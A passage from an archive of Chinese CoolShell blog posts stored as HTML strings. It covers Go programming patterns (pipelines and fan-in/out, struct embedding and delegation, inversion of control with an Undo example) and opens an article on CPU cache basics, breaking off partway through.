target=\"_blank\">Go Generation的方式</a>来合并一下</strong>）</p>\n<pre class=\"EnlighterJSRAW\">var nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nfor n := range sum(sq(odd(echo(nums)))) {\n  fmt.Println(n)\n}</pre>\n<p>上面的代码类似于我们执行了Unix/Linux命令： <code>echo $nums | sq | sum</code></p>\n<p>同样，如果你不想有那么多的函数嵌套，你可以使用一个代理函数来完成。</p>\n<pre class=\"EnlighterJSRAW\">type EchoFunc func ([]int) (&lt;- chan int) \ntype PipeFunc func (&lt;- chan int) (&lt;- chan int) \n\nfunc pipeline(nums []int, echo EchoFunc, pipeFns ... PipeFunc) &lt;- chan int {\n  ch  := echo(nums)\n  for i := range pipeFns {\n    ch = pipeFns[i](ch)\n  }\n  return ch\n}</pre>\n<p>然后，就可以这样做了：</p>\n<pre class=\"EnlighterJSRAW\">var nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}    \nfor n := range pipeline(nums, gen, odd, sq, sum) {\n    fmt.Println(n)\n  }</pre>\n<h4>Fan in/Out</h4>\n<p>动用Go语言的 Go Routine和 Channel还有一个好处，就是可以写出1对多，或多对1的pipeline，也就是Fan In/ Fan Out。下面，我们来看一个Fan in的示例：</p>\n<p>我们想通过并发的方式来对一个很长的数组中的质数进行求和运算，我们想先把数组分段求和，然后再把其集中起来。</p>\n<p>下面是我们的主函数：</p>\n<pre class=\"EnlighterJSRAW\">func makeRange(min, max int) []int {\n  a := make([]int, max-min+1)\n  for i := range a {\n    a[i] = min + i\n  }\n  return a\n}\n\nfunc main() {\n  nums := makeRange(1, 10000)\n  in := echo(nums)\n\n  const nProcess = 5\n  var chans [nProcess]&lt;-chan int\n  for i := range chans {\n    chans[i] = sum(prime(in))\n  }\n\n  for n := range sum(merge(chans[:])) {\n    fmt.Println(n)\n  }\n}</pre>\n<p>再看我们的 <code>prime()</code> 函数的实现 ：</p>\n<pre class=\"EnlighterJSRAW\">func is_prime(value int) bool {\n  for i := 2; i &lt;= int(math.Floor(float64(value) / 2)); i++ {\n    if value%i == 0 {\n      return false\n    }\n  }\n  return value &gt; 1\n}\n\nfunc prime(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func ()  {\n    for n := range in {\n      if is_prime(n) {\n        out &lt;- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}</pre>\n<p>我们可以看到，</p>\n<ul>\n<li>我们先制造了从1到10000的一个数组，</li>\n<li>然后，把这堆数组全部 <code>echo</code>到一个channel里 – <code>in</code></li>\n<li>此时，生成 5 个 Channel，然后都调用 <code>sum(prime(in))</code> ，于是每个Sum的Go Routine都会开始计算和</li>\n<li>最后再把所有的结果再求和拼起来，得到最终的结果。</li>\n</ul>\n<p>其中的merge代码如下：</p>\n<pre class=\"EnlighterJSRAW\">func merge(cs []&lt;-chan int) &lt;-chan int {\n  var wg sync.WaitGroup\n  out := make(chan int)\n\n  wg.Add(len(cs))\n  for _, c := range cs {\n    go func(c &lt;-chan int) {\n      for n := range c {\n        out &lt;- n\n      }\n      wg.Done()\n    }(c)\n  }\n  go func() {\n    wg.Wait()\n    close(out)\n  }()\n  return out\n}</pre>\n<p>用图片表示一下，整个程序的结构如下所示：</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21231\" height=\"266\" src=\"../wp-content/uploads/2020/12/pipeline-1024x425.png\" width=\"640\"/></p>\n<h4>延伸阅读</h4>\n<p>如果你还想了解更多的这样的与并发相关的技术，可以参看下面这些资源：</p>\n<ul>\n<li><b>Go</b> <b>Concurrency</b> <b>Patterns</b><b></b> – <b>Rob</b> <b>Pike –</b> 2012 Google I/O <b><br/>\n</b>presents the basics of Go‘s concurrency primitives and several ways to apply them.<br/>\n<u><a href=\"https://www.youtube.com/watch?v=f6kdp27TYZs\">https://www.youtube.com/watch?v=f6kdp27TYZs</a></u></li>\n<li><b>Advanced Go Concurrency Patterns </b>– <b>Rob</b> <b>Pike</b> – 2013 Google I/O <b><br/>\n</b>covers more complex uses of Go’s primitives, especially select.<br/>\n<a href=\"https://blog.golang.org/advanced-go-concurrency-patterns\">https://blog.golang.org/advanced-go-concurrency-patterns</a></li>\n<li><b>Squinting at Power Series </b>– <b>Douglas McIlroy</b>‘s paper <b><br/>\n</b>shows how Go-like concurrency provides elegant support for complex calculations.<br/>\n<a href=\"https://swtch.com/~rsc/thread/squint.pdf\">https://swtch.com/~rsc/thread/squint.pdf</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-26 Go编程模式：委托和反转控制.html",
    "content": "<html><body><p><figure class=\"wp-caption alignright\" id=\"attachment_21256\" style=\"width: 300px;\"><img alt=\"\" class=\"wp-image-21256 size-medium\" height=\"298\" src=\"../wp-content/uploads/2020/12/go.pair_-300x298.png\" width=\"300\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-21256\">图片来源：<a href=\"https://gophersource.com/\" rel=\"noopener\" target=\"_blank\">GopherSource</a></figcaption></figure></p>\n<p>反转控制<a href=\"https://en.wikipedia.org/wiki/Inversion_of_control\" rel=\"noopener\" target=\"_blank\" title=\"IoC - Inversion of Control\">IoC – Inversion of Control</a> 是一种软件设计的方法，其主要的思想是把控制逻辑与业务逻辑分享，不要在业务逻辑里写控制逻辑，这样会让控制逻辑依赖于业务逻辑，而是反过来，让业务逻辑依赖控制逻辑。在《<a href=\"https://coolshell.cn/articles/9949.html\" rel=\"noopener\" target=\"_blank\">IoC/DIP其实是一种管理思想</a>》中的那个开关和电灯的示例一样，开关是控制逻辑，电器是业务逻辑，不要在电器中实现开关，而是把开关抽象成一种协议，让电器都依赖之。这样的编程方式可以有效的降低程序复杂度，并提升代码重用。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第4 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：委托和反转控制</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21146.html\" rel=\"prev\" title=\"Go 编程模式：Functional Options\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21164.html\" rel=\"next\" title=\"Go编程模式：Map-Reduce\">下一篇文章</a> »</span></nav></section>\n<p>面向对象的设计模式这里不提了，我们来看看Go语言使用Embed结构的一个示例。</p>\n<p><span id=\"more-21214\"></span></p>\n<h4>嵌入和委托</h4>\n<h5>结构体嵌入</h5>\n<p>在Go语言中，我们可以很方便的把一个结构体给嵌到另一个结构体中。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">type Widget struct {\n    X, Y int\n}\ntype Label struct {\n    Widget        // Embedding (delegation)\n    Text   string // Aggregation\n}</pre>\n<p>上面的示例中，我们把 <code>Widget</code>嵌入到了 <code>Label</code> 中，于是，我们可以这样使用：</p>\n<pre class=\"EnlighterJSRAW\">label := Label{Widget{10, 10}, \"State:\"}\n\nlabel.X = 11\nlabel.Y = 12</pre>\n<p>如果在 <code>Label</code> 结构体里出现了重名，就需要解决重名，例如，如果 成员 <code>X</code> 重名，用 <code>label.X</code>表明 是自己的<code>X</code> ，用  <code>label.Wedget.X</code> 表示嵌入过来的。</p>\n<p>有了这样的嵌入，就可以像UI组件一样的在结构构的设计上进行层层分解。比如，我可以新出来两个结构体 <code>Button</code> 和 <code>ListBox</code>：</p>\n<pre class=\"EnlighterJSRAW\">type Button struct {\n    Label // Embedding (delegation)\n}\n\ntype ListBox struct {\n    Widget          // Embedding (delegation)\n    Texts  []string // Aggregation\n    Index  int      // Aggregation\n}</pre>\n<h5>方法重写</h5>\n<p>然后，我们需要两个接口 <code>Painter</code> 用于把组件画出来，<code>Clicker</code> 用于表明点击事件：</p>\n<pre class=\"EnlighterJSRAW\">type Painter interface {\n    Paint()\n}\n \ntype Clicker interface {\n    Click()\n}</pre>\n<p>当然，</p>\n<ul>\n<li>对于 <code>Lable</code> 来说，只有 <code>Painter</code> ，没有<code>Clicker</code></li>\n<li>对于 <code>Button</code> 和 <code>ListBox</code>来说，<code>Painter</code> 和<code>Clicker</code>都有。</li>\n</ul>\n<p>下面是一些实现：</p>\n<pre class=\"EnlighterJSRAW\">func (label Label) Paint() {\n  fmt.Printf(\"%p:Label.Paint(%q)\\n\", &amp;label, label.Text)\n}\n\n//因为这个接口可以通过 Label 的嵌入带到新的结构体，\n//所以，可以在 Button 中可以重载这个接口方法以\nfunc (button Button) Paint() { // Override\n    fmt.Printf(\"Button.Paint(%s)\\n\", button.Text)\n}\nfunc (button Button) Click() {\n    fmt.Printf(\"Button.Click(%s)\\n\", button.Text)\n}\n\n\nfunc (listBox ListBox) Paint() {\n    fmt.Printf(\"ListBox.Paint(%q)\\n\", listBox.Texts)\n}\nfunc (listBox ListBox) Click() {\n    fmt.Printf(\"ListBox.Click(%q)\\n\", listBox.Texts)\n}</pre>\n<p>这里，需要重点提示一下，<strong><code>Button.Paint()</code> 接口可以通过 Label 的嵌入带到新的结构体，如果 <code>Button.Paint()</code> 不实现的话，会调用 <code>Label.Paint()</code> ，所以，在 <code>Button</code> 中声明 <code>Paint()</code> 方法，相当于Override</strong>。</p>\n<h5>嵌入结构多态</h5>\n<p>通过下面的程序可以看到，整个多态是怎么执行的。</p>\n<pre class=\"EnlighterJSRAW\">button1 := Button{Label{Widget{10, 70}, \"OK\"}}\nbutton2 := NewButton(50, 70, \"Cancel\")\nlistBox := ListBox{Widget{10, 40}, \n    []string{\"AL\", \"AK\", \"AZ\", \"AR\"}, 0}\n\nfor _, painter := range []Painter{label, listBox, button1, button2} {\n    painter.Paint()\n}\n \nfor _, widget := range []interface{}{label, listBox, button1, button2} {\n  widget.(Painter).Paint()\n  if clicker, ok := widget.(Clicker); ok {\n    clicker.Click()\n  }\n  fmt.Println() // print a empty line \n}</pre>\n<p>我们可以看到，我们可以使用接口来多态，也可以使用 泛型的 <code>interface{}</code> 来多态，但是需要有一个类型转换。</p>\n<h4>反转控制</h4>\n<p>我们再来看一个示例，我们有一个存放整数的数据结构，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">type IntSet struct {\n    data map[int]bool\n}\nfunc NewIntSet() IntSet {\n    return IntSet{make(map[int]bool)}\n}\nfunc (set *IntSet) Add(x int) {\n    set.data[x] = true\n}\nfunc (set *IntSet) Delete(x int) {\n    delete(set.data, x)\n}\nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}</pre>\n<p>其中实现了 <code>Add()</code> 、<code>Delete()</code> 和 <code>Contains()</code> 三个操作，前两个是写操作，后一个是读操作。</p>\n<h5>实现Undo功能</h5>\n<p>现在我们想实现一个 Undo 的功能。我们可以把把 <code>IntSet</code> 再包装一下变成 <code>UndoableIntSet</code> 代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">type UndoableIntSet struct { // Poor style\n    IntSet    // Embedding (delegation)\n    functions []func()\n}\n \nfunc NewUndoableIntSet() UndoableIntSet {\n    return UndoableIntSet{NewIntSet(), nil}\n}\n \n\nfunc (set *UndoableIntSet) Add(x int) { // Override\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.functions = append(set.functions, func() { set.Delete(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\n\nfunc (set *UndoableIntSet) Delete(x int) { // Override\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.functions = append(set.functions, func() { set.Add(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\nfunc (set *UndoableIntSet) Undo() error {\n    if len(set.functions) == 0 {\n        return errors.New(\"No functions to undo\")\n    }\n    index := len(set.functions) - 1\n    if function := set.functions[index]; function != nil {\n        function()\n        set.functions[index] = nil // For garbage collection\n    }\n    set.functions = set.functions[:index]\n    return nil\n}</pre>\n<p>在上面的代码中，我们可以看到</p>\n<ul>\n<li>我们在 <code>UndoableIntSet</code> 中嵌入了<code>IntSet</code> ，然后Override了 它的 <code>Add()</code>和 <code>Delete()</code> 方法。</li>\n<li><code>Contains()</code> 方法没有Override，所以，会被带到 <code>UndoableInSet</code> 中来了。</li>\n<li>在Override的 <code>Add()</code>中，记录 <code>Delete</code> 操作</li>\n<li>在Override的 <code>Delete()</code> 中，记录 <code>Add</code> 操作</li>\n<li>在新加入 <code>Undo()</code> 中进行Undo操作。</li>\n</ul>\n<p>通过这样的方式来为已有的代码扩展新的功能是一个很好的选择，这样，可以在重用原有代码功能和重新新的功能中达到一个平衡。但是，这种方式最大的问题是，Undo操作其实是一种控制逻辑，并不是业务逻辑，所以，在复用 Undo这个功能上是有问题。因为其中加入了大量跟 <code>IntSet</code> 相关的业务逻辑。</p>\n<h5>反转依赖</h5>\n<p>现在我们来看另一种方法：</p>\n<p>我们先声明一种函数接口，表现我们的Undo控制可以接受的函数签名是什么样的：</p>\n<pre class=\"EnlighterJSRAW\">type Undo []func()</pre>\n<p>有了上面这个协议后，我们的Undo控制逻辑就可以写成如下：</p>\n<pre class=\"EnlighterJSRAW\">func (undo *Undo) Add(function func()) {\n  *undo = append(*undo, function)\n}\n\nfunc (undo *Undo) Undo() error {\n  functions := *undo\n  if len(functions) == 0 {\n    return errors.New(\"No functions to undo\")\n  }\n  index := len(functions) - 1\n  if function := functions[index]; function != nil {\n    function()\n    functions[index] = nil // For garbage collection\n  }\n  *undo = functions[:index]\n  return nil\n}</pre>\n<p>这里你不必觉得奇怪， <code>Undo</code> 本来就是一个类型，不必是一个结构体，是一个函数数组也没什么问题。</p>\n<p>然后，我们在我们的IntSet里嵌入 Undo，然后，再在 <code>Add()</code> 和 <code>Delete()</code> 里使用上面的方法，就可以完成功能。</p>\n<pre class=\"EnlighterJSRAW\">type IntSet struct {\n    data map[int]bool\n    undo Undo\n}\n \nfunc NewIntSet() IntSet {\n    return IntSet{data: make(map[int]bool)}\n}\n\nfunc (set *IntSet) Undo() error {\n    return set.undo.Undo()\n}\n \nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}\n\nfunc (set *IntSet) Add(x int) {\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.undo.Add(func() { set.Delete(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}\n \nfunc (set *IntSet) Delete(x int) {\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.undo.Add(func() { set.Add(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}</pre>\n<p>这个就是控制反转，不再由 控制逻辑 <code>Undo</code> 来依赖业务逻辑 <code>IntSet</code>，而是由业务逻辑 <code>IntSet</code> 来依赖 <code>Undo</code> 。其依赖的是其实是一个协议，这个协议是一个没有参数的函数数组。我们也可以看到，我们 Undo 的代码就可以复用了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-3-1 与程序员相关的CPU缓存知识.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-20817\" height=\"300\" src=\"../wp-content/uploads/2020/03/cpu_512x512-300x300.png\" width=\"300\"/>好久没有写一些微观方面的文章了，今天写一篇关于CPU Cache相关的文章，这篇文章比较长，主要分成这么几个部分：基础知识、缓存的命中、缓存的一致性、相关的代码示例和延伸阅读。其中会讲述一些多核 CPU 的系统架构以及其原理，包括对程序性能上的影响，以及在进行并发编程的时候需要注意到的一些问题。这篇文章我会尽量地写简单和通俗易懂一些，主要是讲清楚相关的原理和问题，而对于一些细节和延伸阅读我会在文章最后会给出相关的资源。</p>\n<p>因为无论你写什么样的代码都会交给CPU来执行，所以，如果你想写出性能比较高的代码，这篇文章中提到的技术还是值得认真学习的。另外，千万别觉得这些东西没用，这些东西非常有用，十多年前就是这些知识在性能调优上帮了我的很多大忙，从而跟很多人拉开了差距……</p>\n<h4>基础知识</h4>\n<p>首先，我们都知道现在的CPU多核技术，都会有几级缓存，老的CPU会有两级内存（L1和L2），新的CPU会有三级内存（L1，L2，L3 ），如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-20794\" height=\"371\" src=\"../wp-content/uploads/2020/02/cache.architecture.png\" width=\"729\"/><span id=\"more-20793\"></span></p>\n<p>其中：</p>\n<ul>\n<li>L1缓存分成两种，一种是指令缓存，一种是数据缓存。L2缓存和L3缓存不分指令和数据。</li>\n<li>L1和L2缓存在每一个CPU核中，L3则是所有CPU核心共享的内存。</li>\n<li>L1、L2、L3的越离CPU近就越小，速度也越快，越离CPU远，速度也越慢。</li>\n</ul>\n<p>再往后面就是内存，内存的后面就是硬盘。我们来看一些他们的速度：</p>\n<ul class=\"\">\n<li>L1 的存取速度：<strong class=\"hd jp\">4 个CPU时钟周期</strong></li>\n<li>L2 的存取速度： <strong class=\"hd jp\">11 个CPU时钟周期</strong></li>\n<li>L3 的存取速度：<strong class=\"hd jp\">39 个CPU时钟周期</strong></li>\n<li>RAM内存的存取速度<strong class=\"hd jp\">：107 个CPU时钟周期</strong></li>\n</ul>\n<p>我们可以看到，L1的速度是RAM的27倍，但是L1/L2的大小基本上也就是KB级别的，L3会是MB级别的。例如：<a href=\"https://en.wikichip.org/wiki/intel/core_i7/i7-8700k\" rel=\"noopener noreferrer\" target=\"_blank\">Intel Core i7-8700K</a> ，是一个6核的CPU，每核上的L1是64KB（数据和指令各32KB），L2 是 256K，L3有2MB（我的苹果电脑是<a href=\"https://en.wikichip.org/wiki/intel/core_i9/i9-8950hk\" rel=\"noopener noreferrer\" target=\"_blank\"> Intel Core i9-8950HK</a>，和Core i7-8700K的Cache大小一样）。</p>\n<p>我们的数据就从内存向上，先到L3，再到L2，再到L1，最后到寄存器进行CPU计算。为什么会设计成三层？这里有下面几个方面的考虑：</p>\n<ul>\n<li>一个方面是物理速度，如果要更大的容量就需要更多的晶体管，除了芯片的体积会变大，更重要的是大量的晶体管会导致速度下降，因为访问速度和要访问的晶体管所在的位置成反比，也就是当信号路径变长时，通信速度会变慢。这部分是物理问题。</li>\n<li>另外一个问题是，多核技术中，数据的状态需要在多个CPU中进行同步，并且，我们可以看到，cache和RAM的速度差距太大，所以，多级不同尺寸的缓存有利于提高整体的性能。</li>\n</ul>\n<p>这个世界永远是平衡的，一面变得有多光鲜，另一面也会变得有多黑暗。建立这么多级的缓存，一定就会引入其它的问题，这里有两个比较重要的问题，</p>\n<ul>\n<li>一个是比较简单的缓存的命中率的问题。</li>\n<li>另一个是比较复杂的缓存更新的一致性问题。</li>\n</ul>\n<p>尤其是第二个问题，在多核技术下，这就很像分布式的系统了，要对多个地方进行更新。</p>\n<h4>缓存的命中</h4>\n<p>在说明这两个问题之前。我们需要要解一个术语 Cache Line。缓存基本上来说就是把后面的数据加载到离自己近的地方，对于CPU来说，它是不会一个字节一个字节的加载的，因为这非常没有效率，一般来说都是要一块一块的加载的，对于这样的一块一块的数据单位，术语叫“Cache Line”，一般来说，一个主流的CPU的Cache Line 是 64 Bytes（也有的CPU用32Bytes和128Bytes），64Bytes也就是16个32位的整型，这就是CPU从内存中捞数据上来的最小数据单位。</p>\n<p>比如：Cache Line是最小单位（64Bytes），所以先把Cache分布多个Cache Line，比如：L1有32KB，那么，32KB/64B = 512 个 Cache Line。</p>\n<p>一方面，缓存需要把内存里的数据放到放进来，英文叫 CPU Associativity。Cache的数据放置的策略决定了内存中的数据块会拷贝到CPU Cache中的哪个位置上，因为Cache的大小远远小于内存，所以，需要有一种地址关联的算法，能够让内存中的数据可以被映射到Cache中来。这个有点像内存地址从逻辑地址向物理地址映射的方法，但不完全一样。</p>\n<p>基本上来说，我们会有如下的一些方法。</p>\n<ul>\n<li>一种方法是，任何一个内存地址的数据可以被缓存在任何一个Cache Line里，这种方法是最灵活的，但是，如果我们要知道一个内存是否存在于Cache中，我们就需要进行O(n)复杂度的Cache遍历，这是很没有效率的。</li>\n<li>另一种方法，为了降低缓存搜索算法，我们需要使用像Hash Table这样的数据结构，最简单的hash table就是做“求模运算”，比如：我们的L1 Cache有512个Cache Line，那么，公式：<code>（内存地址 mod 512）* 64</code> 就可以直接找到所在的Cache地址的偏移了。但是，这样的方式需要我们的程序对内存地址的访问要非常地平均，不然冲突就会非常严重。这成了一种非常理想的情况了。</li>\n<li>为了避免上述的两种方案的问题，于是就要容忍一定的hash冲突，也就出现了 N-Way 关联。也就是把连续的N个Cache Line绑成一组，然后，先把找到相关的组，然后再在这个组内找到相关的Cache Line。这叫 Set Associativity。如下图所示。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-20806\" height=\"271\" src=\"../wp-content/uploads/2020/02/cache-associative-fill-both.png\" width=\"546\"/></p>\n<p>对于 N-Way 组关联，可能有点不好理解，这里个例子，并多说一些细节（不然后面的代码你会不能理解），Intel 大多数处理器的L1 Cache都是32KB，8-Way 组相联，Cache Line 是64 Bytes。这意味着，</p>\n<ul>\n<li>32KB的可以分成，32KB / 64 = 512 条 Cache Line。</li>\n<li>因为有8 Way，于是会每一Way 有 512 / 8 = 64 条 Cache Line。</li>\n<li>于是每一路就有 64 x 64 = 4096 Byts 的内存。</li>\n</ul>\n<p>为了方便索引内存地址，</p>\n<ul>\n<li><strong>Tag</strong>：每条 Cache Line 前都会有一个独立分配的 24 bits来存的 tag，其就是内存地址的前24bits</li>\n<li><strong>Index</strong>：内存地址后续的6个bits则是在这一Way的是Cache Line 索引，2^6 = 64 刚好可以索引64条Cache Line</li>\n<li><strong>Offset</strong>：再往后的6bits用于表示在Cache Line 里的偏移量</li>\n</ul>\n<p>如下图所示：（图片来自《<a href=\"https://manybutfinite.com/post/intel-cpu-caches/\" rel=\"noopener noreferrer\" target=\"_blank\">Cache: a place for concealment and safekeeping</a>》）</p>\n<p>当拿到一个内存地址的时候，先拿出中间的 6bits 来，找到是哪组。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-20809\" height=\"461\" src=\"../wp-content/uploads/2020/03/L1CacheExample.png\" width=\"687\"/></p>\n<p>然后，在这一个8组的cache line中，再进行O(n) n=8 的遍历，主是要匹配前24bits的tag。如果匹配中了，就算命中，如果没有匹配到，那就是cache 